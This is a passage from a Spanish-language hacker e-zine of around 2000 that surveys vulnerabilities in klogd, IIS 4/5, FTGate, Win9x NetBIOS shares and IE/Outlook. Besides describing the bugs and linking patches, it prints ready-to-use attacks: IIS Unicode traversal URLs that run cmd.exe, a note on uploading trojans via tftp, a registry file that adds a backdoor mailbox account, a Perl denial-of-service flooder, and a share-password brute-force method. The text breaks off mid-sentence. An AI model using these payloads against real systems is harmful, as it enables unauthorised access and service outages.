esto puede variar modificando el syslog.conf).
Las llamadas a las funciones erroneas se encuentran en la funcion LogLine(),
del archivo klogd.c, lineas 680 y 707:
Syslog( LOG_INFO, line_buff );
Cada mensaje del kernel va a parar a Syslog como un "format string". Antes de
pasar ese string (cadena de caracteres) a Syslog, la funcion Logline procesa
la cadena un poco, para evitar problemas de formato. Las direcciones del
kernel de la forma [] son traducidas a "symbol names" y los
caracteres "%" son checkeados y duplicados para evitar problemas de formato.
Sin embargo, esta funcion falla al tratar con simbolos "%" dentro de "[< >]",
entonces un usuario malicioso puede crear un mensaje de kernel de la forma de
"[<%s %s %s %s>]", lo que seria suficiente para matar a klogd con un
"segmentation fault".
La vulnerabilidad es explotable para cualquiera que pueda mandar strings a
klogd. Hay muchas formas de hacer esto localmente, por ejemplo con una
llamada a connect() con una estructura sockaddr erroneamente incializada, la
cual genera un mensaje de error que va a parar a klogd conteniendo el nombre
del programa. Este metodo no nos deja suficiente espacio para poner un
shellcode que suba nuestros privilegios de alguna manera, sin embargo hay
otras formas de alimentar a klogd.
La explotacion eso si no es trivial, debido a la forma en que estan mapeados
los buffer en cuestion.
Toda la informacion de esta vulnerabilidad fue sacada del advisory original.
-------------------------------------------
Vulnerabilidad del Unicode en IIS 4.0 & 5.0
-------------------------------------------
Se podria llamar iishack v2.0 El sistema NT vuelve a quedar en evidencia
gracias a una vulnerabilidad descubierta por alguien anonimo que la posteo en
packetstorm, que afecta a los servidores IIS permitiendo la ejecucion de
codigo en el servidor con los permisos de la cuenta IUSR_nameserver.
El bug es el mas viejo del mundo en los servidores web, el de ../ pero usando
los caracteres Unicode. El truco esta en escribir el caracter '/' con alguna
de las opciones que el Unicode nos ofrece, p.ej.-
2f
c0 af
e0 80 af
f0 80 80 af
f8 80 80 80 af
...
De esta manera podemos pedir una URL al IIS de la siguiente forma:
http://www.cdlr.org/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
Dependiendo del idioma en que este la version del NT o 2k instalada se usaran
unos caracteres Unicode u otros, las combinaciones posibles son %c1%1c,
%c0%af, %c1%9c, %c0%qf, %c1%8s, %c1%9c y %c1%pc.
El hecho de que el wwwroot activo no se encuentre en c:, no implica que no
exista vulnerabilidad alguna, ya que podemos usar como dir de partida el
/msadc/, de la siguiente forma:
http://www.cdlr.org/msadc/..%c0%af..%c0%af..%c0%af..//winnt/system32/cmd.exe?/c+dir+c:\
El impacto que este fallo puede causar en la maquina es desastroso, mediante
el uso del comando tftp se puede subir al servidor algun troyano tipo ncx99,
se pueden borrar, editar y crear archivos ...
Y como no podia ser de otra manera, ya existe un lamexploit para que
cualquier kiddie se pueda dedicar a borrar webs por ahi.
http://packetstorm.securify.com/0010-exploits/iisex.c
La solucion a esto, instalar el parche de MS que puedes bajar de:
http://www.microsoft.com/TechNet/security/bulletin/ms00-078.asp
http://www.microsoft.com/technet/security/bulletin/fq00-078.asp
----------------------------------------------------------------------------
Vulnerabilidades del FTGate v.2.2.3.1 y probablemente anteriores - CDLR I+D!
----------------------------------------------------------------------------
El FTGate es un server de correo para NT, con pasarelas POP3, SMTP y finger,
que tambien incluye un mini-webserver usado para administrar las casillas de
mail.
La version 2.2.3.1 y seguramente anteriores de este producto esta afectada
por dos vulnerabilidades.
- Debido a unos permisos inapropiados en todas las subkeys que cuelgan de
HKLM\SOFTWARE\Floosietek\FTGate\ en el registro del sistema, cualquier
usuario con acceso local a la maquina donde este instalada el FTGate puede
a~adir y borrar usuarios, subir y bajar servicios, conseguir las claves de
otros usuarios, ...
- Los servicios POP3, SMTP y HTTP estan afectados por un ataque DoS que puede
ser explotado si se envia una cantidad enorme de caracteres a esos puertos.
En este momento el consumo de cpu sube hasta el 100% mientras continue el
ataque.
Los lamexploits para estas vulnerabilidades los tienes aqui:
<->Crea una cuenta 'test' con password 'test' en una instalacion por defecto.
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Floosietek\FTGate\Domains\Domain Data{jumi [*3] [http://www.govannom.org/e-zines/proyector/proyecto_r10.txt]}000000\Mailbox Data{jumi [*3] [http://www.govannom.org/e-zines/proyector/proyecto_r10.txt]}000004]
"Comment"="Test account"
"MailboxName"="test"
"MailboxType"=dword:00000001
"Received"=dword:00000000
"Sent"=dword:00000000
"SentExternal"=dword:00000000
"OPS"=hex:78,0f,29,d6,f7,21,17,06,30,7e,21,c2,ac,3b,9d,76,5a,12,aa,d4
[HKEY_LOCAL_MACHINE\SOFTWARE\Floosietek\FTGate\Domains\Domain Data{jumi [*3] [http://www.govannom.org/e-zines/proyector/proyecto_r10.txt]}000000\Mailbox Settings]
"MailboxCount"=dword:00000005
[HKEY_LOCAL_MACHINE\SOFTWARE\Floosietek\FTGate\Domains\Domain Data{jumi [*3] [http://www.govannom.org/e-zines/proyector/proyecto_r10.txt]}000000\Mailbox Settings\Mailbox Names]
"test"=dword:00000004
<--->
<---> Flooder para el servicio HTTP
#!/usr/bin/perl
# Ejemplo de DoS xploit del FTGate 2,2,3,1
# Xploit adaptado de sinfony (
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
) para un DoS del vqServer 1.4.49
die "CDLR Seguridad, creadores del zine Proyecto_R - www.cdlr.org\n
usage: {jumi [*3] [http://www.govannom.org/e-zines/proyector/proyecto_r10.txt]} \n"
if $#ARGV != 0;
use IO::Socket;
$host = $ARGV[0];
$port = 8080;
print "Conectando a $host por el puerto $port...\n";
$suck = IO::Socket::INET->
new(Proto=>"tcp",
PeerAddr=>$host,
PeerPort=>$port)
|| die "$host No puedo conectar ...\n";
$a = A;
$send = $a x 1000000;
print "Conectado, DoS en progreso ...\n";
print $suck "/$send\n";
sleep(3);
print "Ya te has cansado ?\n";
close($suck)
<--->
La solucion a esto, bajate la ultima actualizacion del producto desde
http://www.floosietek.com/
-------------------------------------------------
Vulnerabilidad de passwords NetBIOS en Win9x & ME
-------------------------------------------------
Una implementacion erronea en el sistema de autentificacion usado por los
sistemas windows inferiores en el tratamiento de recursos compartidos, hace
posible que un atacante remoto pueda acceder a un recurso compartido con
clave, sin necesidad de conocerla.
Resulta que cuando un cliente envia una password hacia un servidor para que
este le autentifique, el servidor toma la longitud del password enviado como
correcta y compara el password enviado con el correcto. El fallo esta en que
si se envia un password de un byte de longitud, el servidor solo comprobara
que ese byte coincida con el primer byte del password correcto, ignorando el
resto de la clave correcta.
El maximo numero de intentos en un ataque de fuerza bruta sera entonces de
255, pero si comenzamos a probar con los caracteres mas usuales (valores
alfanumericos), descubriremos la clave en cuestion de minutos.
MS ha lanzado un parche para esta vulnerabilidad que se puede bajar de:
http://www.microsoft.com/technet/security/bulletin/MS00-072.asp
Y como no, tambien hay por ahi xploits para este bug.
------------------------------------------------------
Vulnerabilidad de la seguridad del IE 5.5/Outlook Java
Lectura arbitraria de archivos locales y URLs
------------------------------------------------------
El bulgaro Georgi Guninski a traves de su reporte #24, ha comunicado
problemas en el Internet Explorer 5.5/5.x y Outlook o Outlook Express, segun
la cual se podrian ejecutar archivos de forma arbitraria en una red Microsoft.
Esto significa, que alguna persona maliciosa podria ejecutar programas de
nuestra maquina cuando se visita un sitio web, se lee algun mensaje HTML
mediante Outlook...
Advisory Original: http://www.guninski.com/javacodebase1-desc.html
Sistemas afectados: IE 5.5/Outlook/Outlook Express - probablemente otras
versiones aun no se ha probado..
Riesgo: Alto
Fecha: 18 de Octubre 2000
Detalles:
El problema es la posibilidad de especificar un codebase arbitrario para un
applet cargado desde la etiqueta